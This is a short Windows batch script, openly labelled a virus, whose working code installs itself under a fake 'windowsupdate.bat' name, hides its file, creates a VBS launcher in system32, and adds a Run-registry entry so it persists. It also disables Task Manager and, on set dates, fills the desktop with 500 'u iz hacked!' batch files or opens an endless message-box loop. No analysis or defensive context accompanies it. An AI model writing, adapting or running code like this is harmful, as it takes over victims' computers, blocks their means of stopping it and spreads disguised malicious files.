bitch wirus

@echo off
set virrun=%WinDir%\system32\upd.vbs

if not exist "%virrun%" (
echo CreateObject^("Wscript.Shell"^).Run "%windir%\windowsupdate.bat",0,True
)>%virrun%

if not exist "%WinDir%\windowsupdate.bat" (
attrib "%~f0" -h
copy "%~f0" %WinDir%\windowsupdate.bat
%WinDir%\windowsupdate.bat
del "%~f0"
)

attrib "%~f0" +h

setlocal EnableDelayedExpansion
set desktop=%userprofile%\desktop

REG ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /t REG_SZ /v update /d %WinDir%\system32\upd.vbs /f
REG add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_DWORD /d 1 /f
if "%date:~4,2%"=="04" (
if "%date:~7,2%"=="01" (
for /l %%i in (1,1,500) do (
echo @echo off > "%desktop%\xXVIRUSXx%%i.bat"
echo echo u iz hacked! >> "%desktop%\xXVIRUSXx%%i.bat"
echo pause ^>nul >> "%desktop%\xXVIRUSXx%%i.bat"
)
)
)

if "%date:~4,2%"=="10" (
if "%date:~7,2%"=="01" (

(
echo do
echo MsgBox "Today is danooct1s birthday. respect it."
echo loop
)>"%TMP%\dan.vbs"
"%TMP%\dan.vbs"
del "%TMP%\dan.vbs
)
)